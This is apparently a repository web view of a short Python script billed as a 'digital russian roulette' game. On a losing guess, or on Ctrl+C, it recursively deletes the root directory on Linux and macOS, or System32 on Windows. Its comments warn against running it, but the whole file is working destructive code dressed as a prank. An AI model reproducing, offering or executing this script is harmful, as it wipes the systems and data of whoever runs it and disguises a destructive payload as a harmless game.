summaryrefslogtreecommitdiff
path: root/russian_roulette.py
blob: 8e9d3f4ceda56d3c388fe7c12ad361351627a9d9 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
# digital russian roulette
# DO N O T run this!!!! just dont
# if you really really wanna try do it in a vm
# funny game
import os
import shutil
import sys
import random

directory_to_remove = ""
if sys.platform == "linux":
    print("Detected Linux...")
    directory_to_remove = "/"
elif sys.platform == "win32":
    print("Detected Windows (win32)")
    directory_to_remove = "C:\\Windows\\System32"
elif sys.platform == "darwin":
    print("Detected MacOS (darwin)")
    directory_to_remove = "/"
else:
    print("we couldn't figure out what operating system you use.")
    print("what the frankenstein are you using? custom kernel?")
    print("exiting... no russian roulette for you.")
    sys.exit(1)

rands = [str(random.randint(1, 6))]

#print(f"debug test: the number is {rand}")

while len(rands) != 5:
    try:
        guess = input("heres a fun game, pick a random number from 1 to 6: ")
    except KeyboardInterrupt:
        print("You think you can try to cancel it?")
        print(f"Deleting {directory_to_remove}...")
        shutil.rmtree(directory_to_remove)
        sys.exit(1)

    if guess not in rands:
        print("You're safe... for now :)")
        rands.append(str(random.randint(1,6)))
    else:
        print("You lose!")
        print(f"Deleting {directory_to_remove}...")
        shutil.rmtree(directory_to_remove)
        sys.exit(0)